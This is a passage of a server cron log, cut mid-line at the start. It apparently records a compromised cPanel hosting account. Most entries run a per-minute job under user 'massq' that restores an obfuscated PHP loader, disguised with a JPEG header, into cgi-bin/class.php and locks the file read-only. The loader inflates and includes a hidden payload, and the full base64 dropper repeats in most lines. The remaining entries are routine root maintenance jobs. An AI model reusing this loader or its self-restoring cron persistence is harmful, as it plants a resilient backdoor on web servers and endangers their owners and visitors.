ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:09:01 server CROND[15442]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 01:10:01 server CROND[15602]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 01:10:01 server CROND[15601]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:10:01 server CROND[15603]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 01:10:01 server CROND[15604]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 01:11:01 server CROND[15723]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:12:01 server CROND[15843]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 01:12:01 server CROND[15844]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:13:01 server CROND[15912]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:14:01 server CROND[15989]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:15:01 server CROND[16054]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 01:15:01 server CROND[16055]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:15:01 server CROND[16056]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 01:16:01 server CROND[16266]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:17:01 server CROND[16338]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:18:01 server CROND[16422]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:19:01 server CROND[16492]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:20:01 server CROND[16576]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 01:20:01 server CROND[16578]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 01:20:01 server CROND[16579]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 01:20:01 server CROND[16580]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 01:20:01 server CROND[16581]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:21:01 server CROND[16804]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 01:22:01 server CROND[16881]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
